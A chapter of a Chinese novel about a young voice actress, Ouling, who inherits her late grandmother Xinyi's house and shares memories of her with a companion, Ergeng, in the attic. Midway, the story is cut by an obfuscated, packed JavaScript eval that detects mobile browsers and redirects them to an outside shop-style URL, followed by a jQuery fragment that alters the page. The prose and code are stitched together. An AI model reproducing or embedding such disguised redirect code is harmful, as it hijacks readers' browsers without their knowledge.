02 现在，她有了一个栖息地
欧菱看起来表情比她更呆滞，果然，人在开心的时候，都是呆呆的。
两个人都舍不得立马离开，就在阁楼的沙发上坐了下来，找一个角度尽量舒适地躺下去，让从颈椎到腰椎的整条脊柱好好地被承托，腿也伸得很惬意。
“为什么是40岁呢？小佘老师？”欧菱又一次问出了那个问题。
“我只能按照我有限的人生做一个简答题”，二更答，“不保证全对啊。”
“我猜，是因为人在到达这个年纪之后，对于自己活一生如何最舒服，对于爱情、亲情、工作、爱好、物质、精神等等许多事如何权衡，都有过一番体认了。错过，也对过，风光过，也尴尬过，经过摸爬滚打，建立了自己的认知体系。那时候，一个人应该可以做出更理智的选择。
比如，面对一栋房子，那时的你应该可以理智地判定，它是一个庇护所？它是一个可以置换的资产？甚至或许那时候，它变得像一个负担？无论如何，那时的你，一定能做出一个不至于太冲动的笨蛋选择。
40岁，或许这是辛夷女士选出来的一个，怎么说呢，能开始把握美好人生的平均年岁值吧？”
“我奶奶，就是在38岁和我爷爷在一起的。”欧菱说。“我爷爷那时年纪已经快五十了，她们之间差了十多岁。那个年代，老夫少妻虽然也有，但流言蜚语也并不不少。”
“奶奶那时候，已经是一个很厉害的人了。她搞科研，铁皮石斛的人工培育。我爷爷是做医药产业的，最早比较初级，只做药材的种植、粗加工，再后来，才慢慢发展到医药的研发。当时有人说，他们的婚姻只是利益的一时结合，不是因为爱情。我小时候听到利益结合这种事，会有一种先入为主的不好的感受。但其实人成熟之后，就会明白，这只是一种人生选择，只要不伤害其他人，外人没有资格评论。
在我看来，我奶奶只是在人生的某个阶段，不再那么在意轰轰烈烈的爱情，而是选择了在事业上能够彼此扶植的伙伴。她和我爷爷之间也是相互忠诚的，或许，就是中年人的爱情，是‘理智平均值’上选择的婚姻？婚后，她和爷爷一起合作，把铁皮石斛的繁育、种植、粗加工、深加工和销售，逐渐打通，做成了一条在西南算得上领先的产业链。
我爷爷有三个孩子，奶奶没有孩子。所以，家庭关系相对简单一些。她做我奶奶的时候，我刚上小学。我爸是老大，他的年纪和她差不了几岁。头几年，家里气氛多少还是有点尴尬的。随着她慢慢变老，我爸也慢慢变老，关系就很神奇地缓和了。
主要原因倒也不是大家都老了，而是婚后，爷爷的生活和事业都变得更好了。如果不是那次旅游时遭遇车祸，或许他会很长寿。我奶奶，也是让家族企业成功转型的功臣，又没有后代，所以年纪大了，自然地退隐了，把重担交给了我父亲他们。她对我们这个家族，没有任何亏欠，甚至没有什么索取，反而给予了太多。我的父母和叔伯们对她都很敬重。
有了她，在一些家庭聚餐上，我这样做小辈的女孩子们反而过得会更自在一些。很多事情，她发话了，别人就不好意思说了，就比如婚恋之类有些老掉牙的话题。
她至始至终，都鼓励女孩子读书或者创业，不建议我们过早的嫁人。她总是说，自己也是38岁才找到爷爷的，人到中年，才真正感受到了什么事好的婚姻，如何活得健康通透。她这么一说，其他人就住口了，因为她说得也是事实。有了她，我才能很顺利地离开云南，去很远的大学读书。在那之前，我父母默认，我要在云南读书、找工作，20出头就找个门当户对的人、结婚生子，并且不用工作，或者在自家企业里找个清闲事。过去，对女孩子的要求总是很低的。我小学时候，我爸对我的成绩几乎一无所知，他不在意。
所以，我越长大越喜欢她。
奶奶过了58岁之后，就是爷爷去世之后的那一年，她变得安静了许多。家里人总说，老太太越来越难找了。她好像越来越喜欢躲起来，不让人找到。她是一个被宠爱得很好的人。比如，她吃到好吃的草莓蛋糕，会踮起脚尖来说好吃，很可爱吧？所以。爷爷会给她买很多不同味道的小蛋糕。小小的，她每一种吃一两口，也不会被谁说什么。她那么好，大家对她都很好，为什么要躲呢？
过去，我也不太明白。
后来我长大了一些，做了配音演员，经常要一个人在录音棚里工作。那天，我在录音棚工作到深夜，很累。说起来，录音棚工作氛围很友好，我们相处很愉快。同事约我一起回家，但我当时找了个借口，自己走了一段距离，才打车。我只是很想静一静，回个血。那段独自走的路，在工作后疲倦的夜晚，对我很重要。
我才逐渐明白，躲起来的必要性，也大概能明白奶奶了。她常年从事科研工作，习惯安静，习惯自己呆在实验室里。那大概是她的舒适区。即便是从实验室回到日常生活中，她或许依然想要自己待着，或者，自己藏着。大家对她好，是因为她好，她值得。她想躲起来，是因为她喜欢一个人待着，她需要。这两点完全没有什么关联，是彼此独立的。
前几年，我知道，她开始写诗了。她一开始也是想藏着的，但后来诗歌论坛总是寄东西到家里，阿姨知道了，然后全家就都知道了。她才不好意思地承认。直到是一个诗人之后，我就更理解了这种躲藏。她有一个属于自己的小世界，不方便被别人打扰。
这很好。这应该是一件被好好保护的事。”
“你对衣柜里的密室，并不意外，对吗？”二更问。
“嗯。我小时候和她玩钻衣柜的游戏。其实，我奶奶并不是在爷爷去世后才变得爱躲藏的。她们在一起的时候，她就很喜欢一个人待着。只是因为我常去找她，所以我一直知道。我知道她的房间里有一个很大的衣柜，有时候，她甚至会在衣柜里睡午觉。一扇门开着，衣柜里有被褥铺好，我试过，不会闷，很舒服。反正她也是身形小小的，一直都不胖。
我还知道，她不只有这一个地方。我知道我爷爷偶尔也要找一找她。甚至我知道我爷爷奶奶也是会吵架的。但我奶奶更会躲，或者说，更能一个人呆着，所以她一点儿也不着急，从来不会主动耐不住寂寞，还是自己过自己的。如果她觉得，吵架的缘由不是自己的错，也绝不会主动去和解。大多数时候，都是爷爷忍不住了，要开口。还有那么两三次，是爷爷拜托我去送的草莓小蛋糕。我端着小蛋糕去找奶奶，有时候，她在书房，有时候，她在衣柜，有时候，她在我不知道的地方。我会把小蛋糕放在冰箱里，留一张纸条。她看到了，会给爷爷台阶下的。
她本来就是一个很喜欢睡觉的人。三十八岁之后，她就尽量每天九点睡觉了，一直到老，都看起来起色不错。她头发雪白时，依然会跑衣柜里睡觉。她还是会开一扇门，日光下，她的头发会闪光，像.....小银鱼，或者带鱼。”欧菱忍不住笑了，或许是因为很少有人会用带鱼来形容白发，“但真的有些像。何况，奶奶喜欢吃鱼，每周一次鱼，普通的罗非鱼吃得，贵一点的东星斑也吃得。她应该不会介意我这么说。能吃鱼，能睡觉，偶尔躲起来，这就是我从小到大关于一个活得挺好的老太太的印象，虽然有些奇怪，大概是改不了了。”
头发全白之后，辛夷开始喜欢穿一些微微有荧光的衣服外套，比如莹莹的紫，莹莹的白，莹莹的浅蓝色。也会偶尔在头上别一些古风但颜色艳丽的发卡，在银发的衬托下，发卡显得尤其可爱。
欧菱的眼中，即便到了这样的年纪，辛夷也没有给她“老”的感觉。准确地说，人的身体状态自然是在不断衰老的，但在心态和生活状态上，辛夷乎没有“老”过，不是容颜不减，而是她总是带着一种爽朗的少年人心性，愿意用积极的开阔的态度去看待人事。彷佛时间还很长，似乎一切起起伏伏都是常态，而且从不会倚老卖老。“你该如何”“你还年轻，认知错误”这类话，从来不会从她口中轻飘飘地说出。这一点，最好了。
“奶奶像是潜移默化地在我精神世界里抄了个底”，欧菱回忆说，“小时候甚至在大学时期，都没有觉察到这一点。工作后，自己要应对自己的人生时，我才觉得，我的行为，我对人生的远景规划，我做决定的方式，总是不自觉地以她为参照。老实说，我也习惯自己住，习惯有自己的工作，并不着急婚嫁，快三十了，也完全不觉得有什么。即便以后会有一些波折，结婚、离婚、被人背弃这些，我也不会很害怕，日子往前走，总有好事。毕竟，她是38岁才成为我奶奶的。”
欧菱顿了一下，语气有些忧伤，她继续说道，“她的肝病是开始从66岁那年不好的。从那时开始，我开始给她读书。”
欧菱是播音主持专业毕业之后进入配音行业的，科班出身的她对于任何一本书的处理都能游刃有余。但这一次，当朗读对象是辛夷时，她变得小心翼翼起来。她要求自己对音色、语速的处理，更加贴合病床上她的状态，对于字句的精微处理，都要饱含爱意。她想让自己的语言变成春雨，柔柔地服帖到奶奶身上。她像回到刚毕业试音时那样，开始紧张，甚至有些拿不准要读些什么。
辛夷有个从年轻时候就有的爱好，喜欢看推理小说。所以欧菱读了东野圭吾的大多数作品，也会读些其他作家的，比如《斜屋》，《钟表馆事件》。那时辛夷的精神和身体情况都还算积极，听到熟悉的探案小说的某个篇章，辛夷时常会突然冒出来一句“还有3个人死了，就会剧终了”。
随着辛夷的病情逐渐加重，欧菱在悬疑作品的选择上更慎重。她给辛夷读的最后一部小说，是《空屋》。这是一个看似悬疑实则温暖的故事。主角的妻子用极大的爱与尊重，赠予了丈夫一个充满想象力的设计空间，再度激活了他的人生。欧菱选择这本书，因为故事没有什么巨大的悬疑情节，没有情绪上的刻意起伏，尤其是，没有一个人受害被杀害，故事的最后反而是一个人精神意义上的重生。然而《空屋》读完之后，辛夷的生命已然快走到尽头。
所以她换了汪曾祺的散文。辛夷是广南人，但后半生都在昆明度过。所以欧菱会读汪曾祺的《人间草木》，读他如何写昆明的雨，写昆明街上拿着花走路的人，写院子里寻常且茂盛的花花草草。
最后，她选择的是《最后的哲学课》，一个面对死亡的哲学家给社会留下的一份无比豁达的精神遗产。
“我一直追求孤独，但这种孤独不是社会性的，更多的是理智上的。我有很多朋友，也爱跟大家一起玩儿，但是一个人应该学会孤独，学会做一个孤独的思想者，在心灵深处保守一片孤独的天地，让自己安静下来，默默耕耘自己的思想，冷静但热情地看待这个世界一不带任何幻想和猜想，同时又非常积极地去活。”
“我曾经是一个男孩，一个女孩，一片灌木丛，一只鸟，和一条跃出海面的、沉默的鱼。”
读到这一句，欧菱停下来，轻轻地问，“奶奶，你想成为什么？”
她知道此时的辛夷并不能说出话来，却仍很想问。奶奶是一个很会藏起来的人。如果她想静一静，你总是找不到她。所以，她或许会想当一个很会藏在深海的海豚，或者，很会穿行在森林里的松鼠？总之，得擅长若隐若现。
“平凡才是终极真理、个人生命的体验才是最宝贵的。关注自己的意识，关注意识内容的修缮，让自已纯洁地感受世界。大家要相信自己的渺小不是卑微，因为恰恰是渺小的个人能凭借心中的道德律，媲美浩瀚的星空。我想这才是小大之辩的至理。庄子、薛定谔及暗淡蓝点，指向的可能都是这个道理。”
欧菱读着这几句，回想起许多年前，当她去读大学时，辛夷送她，和她讨论过自己的名字。“你知道你的名字是在怎么来的吗？我问过你爷爷，它来自一首歌，《采红菱》，是过去我们那个时代很流行的老歌。昆明有条路就叫红菱路。在我们这一辈人的心里，菱是很好的字。菱角是水中洁白的宝藏。你也要记得，你是被人爱着的。走多远，都要这样记得，不要怠慢了自己。”她长那么大，第一次有一个人这么坚定地和她讲述她的名字多么美好。
“死亡是融入生命的洪流，是生生不息，它不是一件值得我们忧伤的事，这就是死亡的意义。通过音乐、艺术、诗歌，表现的都是同一种思想，“我是万千逸动的风”。所以大家要积极地面对人生，更豁达地面对死亡，死亡是人生一个非常有意义的结局和开始。”
辛夷被宣告还有三个月的寿命之后，全家人心都悬着。反而是她自己，成了最从容不迫的那一个。她甚至还能主动地安排自己最后的人生要如何度过。最后一本书读完，辛夷的生命也走到了终点。她走得很安详。那是一个清晨，太阳尚未从云层中升起，但天气预报说，当天是晴。
那天，当欧菱读到“生者对亲人的离开感到悲痛是很正常的，悲痛持续也很正常，但是如果因此陷入无休止的悲痛，让自己生命中的一切都被悲痛笼罩、控制，在我看来，这就是对自己生命的不负责”，辛夷的手指，最后一次，动了动。
欧菱知道，这是辛夷在告别了。
二更静静地听完欧菱的讲述。或许是因为欧菱那些可爱的比喻，诸如带鱼、海豚、松鼠，她眼前浮现的，并不是一个老者临走之前的病弱样貌，而是亮闪闪的，一头银白头发的老人，背着身子也背着手，走在林荫道间，渐行渐远的身影。
“小佘老师，我知道你的”，欧菱似乎整理好的情绪，并打算换个话题。“我毕业之后接的第一个纪录片的配音，文本是甲方请你做的。所以，我第一个赚签的商业单和你有关。倒也没有特意关注制作团队的每一个名字，只不过，你的名字很特别。再加上，当我读到那篇文章的开头，觉得很有趣。它讲一个人在烟花三月到苏州，坐上公车上，路过36站去镇上见一个年画老人家，看他如何用朋克式的色彩画老寿星，用自己调过色的青绿色写李白的诗。我看了一眼写文案的人，二更，也是个有趣的名字，就记住了。回来昆明时，因为奶奶的病情，我时常需要在读书之余散散心。听说石房子改造了，还对外展览，我就去了。结果，又一次在策划团队名单里碰到这个名字。起初，我并不想打扰你的。只不过，奶奶离开后，留了一个奇怪的要求。我才鼓起勇气，想试试看。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294818|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“那么确定是我吗？”二更问。
“自然，也有同名同姓的可能，我那时想得很简单，如果是个女性，那应该就是一个人了。当然这并不严谨”，欧菱说，“我挺喜欢文化类纪录片录音的。不过之后签了公司，就转做文学类有声书和广播剧了，这几年，一半精力还会录游戏。离最初的入门路，反而原来越远。
我奶奶去世后，我情绪很差。接到方律师的电话，又知道了遗嘱宣布的附加条件，我一下子就懵了。我今年27岁，谈得来的朋友，年纪都差不多。能找到你，而且真的是你，我特别感激。
谢谢你能来，小佘老师，或许，你也是奶奶送来的礼物。所以，我照单全收。”
感觉完成了一项老天临时派来的任务，二更十分放松。她将头往后仰，想找一个更加放肆且舒服的姿态。但她几乎在沙发上平躺时，目光被一只白色的木质飞鸟吸引了。
天花板上有一个小小的飞鸟，白色，木质，用透明的鱼线固定，就在她们躺着的沙发背后，一直隐身得很好。如果不是这飞鸟身下，坠了一只风干了的黑色菱角，它或许还能继续隐身。
二更起身，走过去，轻轻拉了一下那只坠在鱼线下的菱角。菱角本身不大，风干后更轻。它是一个机关，拉动它，飞鸟的双翅上下翻飞，发出吱嘎吱嘎的声音。菱角脱手后，它还能继续飞一会儿。真是个很有童趣的小玩具。
欧菱也很好奇，起身和二更一起研究。和二更发现的手动拉线起飞方式不同，欧菱在寻觅，阁楼是否有窗。果然，斜着的窗户可以从底部撑开。随着一阵风被放进来，轻巧的鸟儿在将停时，又被吹动，又一次飞起来。
欧菱一时有些愣神，她想起，几年前，在录制一本建筑文化相关的有声书时，她曾读到过这样一个知识点：菱角生在水中，在古代，人们会把菱角挂在木制建筑物的飞檐，取水能防火之意，庇佑家宅平安。在她的新家，菱角或许也有此意，并且，多了一些趣味。
吱嘎吱嘎，吱嘎吱嘎，飞翔的鸟儿似乎在低声叫着。菱角，本是沉水的植物，如今，它飞在空中。躲起来的飞鸟，只要遇到风，就可以飞翔。在谁都看不到的地方，飞给自己看，不为了谁。
“我们也来飞”。欧菱说。
“怎么飞？”二更很疑惑。
“张开双臂，努力伸展，上下挥动，就是在飞。尽管不动，飞不起来，但是，也是在飞。”欧菱没有在意二更有点疑惑的目光，自顾自地开始“飞”。“人太重了，所以刚开始，需要轻轻抬起双臂，以很小的幅度动。然后逐渐地，把手臂张得很开，飞一会，整个人就轻了。”她自己从容地飞了几下，才放下手臂，对二更解释道，“她写过一首诗，就叫《飞鸟》。哦，原来，她或许不想做海豚，想做飞鸟。”
头顶上的飞鸟将停，二更接力，又一次拉动这颗菱角。一阵风适时地吹来，二更眼睛忽然如进了细小的沙子，忽地被激出眼泪。迷濛之中，她彷佛在眼睛不适的几秒中，看到一些恍惚的画面。
旧时教室里，一张小桌上，一个小女孩趴着，在挥笔写着什么。
《我的梦想》
“我的梦想是有一个属于自己的小房间。自从弟弟出生以来，我就失去了自己的小房间。我喜欢弟弟，但我不喜欢永远和弟弟共享一个房间，不喜欢最舒适的桌子，永远要让给弟弟......”
女孩写下这几句之后，停下了。
停了有段时间，她拿起橡皮，从结尾处开始，一个字一个字地小心地把句子擦掉。但这太麻烦。于是她重找了个作文本，把旧本子塞到了抽屉里，拿起另一本新的作业本开始写：我的梦想是......
她又停住了，彷佛在思考。后来写了什么，二更看不到了。
旧本子在塞在书桌里，在一次辛夷参加的家长会，很偶然地掉了出来。于是，记载了女孩秘密的小本子，也成了辛夷的一个秘密。
而现在，这个被储藏在辛夷手中的秘密，不经意地在二更手中展开了。
几秒之间，因眼睛入风吹出来的泪在频繁地眨眼中甩了出来，二更再睁开眼，小阁楼里的一切又一次明晰起来。
她像吞下了一大口茶，需要消化，于是坐回沙发上，又一次和欧菱一起肩并肩。
“你喜欢昆明吗”，二更问，“还是更喜欢广州，或者其他地方？” 她大概猜到，如果没有辛夷的馈赠，在如此年轻的年纪，欧菱未必会有一处属于自己的房产。欧菱的家庭条件不错，父母对她很好，或许会有她自己的房产，但未必会如此安宁和贴心。
欧菱没有立即问答。长久以来，她知道，和弟弟相比，父母对自己爱多少仍有些区分。这也是她一直留在广州的工作的原因之一。但如果说到最喜欢哪里的气候，和大多数云南孩子一样，欧菱还是想做“家乡宝”。昆明这个地方，冬天冷不了几天，夏天比全国大多数地方都凉爽。欧菱还记得自己在广州的第一个夏天，先是被各种尺寸和繁殖能力的蟑螂吓到，后是被冰激凌的融化速度吓到。她从小区楼下便利店买一个冰激凌，还没走到电梯口，就化得很彻底。她不忍心浪费，于是拼命吃，或许是吃相太猴急，还逗笑了一起等电梯的一个小男孩和她的外婆。
奶奶病重的这一年，她辞职，回到昆明，闲了，常在翠湖坐着。她见过一个外婆给小女孩讲什么是荷叶：“尖尖的嫩嫩的，小时候能炒鸡蛋吃，张开了能给小鸭子们当伞；老了，荷叶飘在水上，水珠在荷叶上，就像珍珠”。
外婆说，“昆明真舒服。夏天可以看白鹭，冬天可以看红嘴鸥。不过它们现在还在西伯利亚。”
小女孩问，“那它们为什么夏天不在，冬天才在？”
外婆答，“因为西伯利亚冬天冰天雪地，所有动物都要穿他们自己的羽绒服才能过冬，红嘴鸥的羽绒服挺薄的，但它们可以飞，可以换地方，可以飞到温暖的地方避开寒冷的冬天。”
欧菱喜欢这样的昆明，这样的人们。她当然无数次地想过，要回来。
“当然喜欢昆明”，欧菱答。
“那你，擅长玩躲猫猫吗？”二更问。
“过去不太会”，欧菱答，“但现在有地方了，或许，也会像我奶奶那样吧，越来越擅长。”
“一个人偶尔躲一躲，不是什么坏事”，二更说，“躲一躲，和自己聊一聊，心更静了，日子反而更舒服。再回来时，面对很多事也更从容。”
“你也会躲吗？”欧菱问。
“嗯，去山上走走，去哪个小镇走走”，二更答，“在拥有一个自己的小家之前，我很喜欢往外跑。”
“是啊，我也总是往外走，往外躲。在大家庭里，也会有一点点想逃的冲动，大概是平时工作的录音棚，太安静了。回到很多人一起说话，一起相处的房，越来越觉得拘束。只是，我不知道可以去哪里。”
二更将那颗菱角在手中残余的触感，又一次细细摩挲了下。现在，欧菱有地方了。一个栖息地，甚至，包括更多秘密的栖息地。她未再多言，秘密，就应该是秘密，就像密室，就应该是独属于谁的密室。
那就只祝福吧！女孩，恭喜恭喜！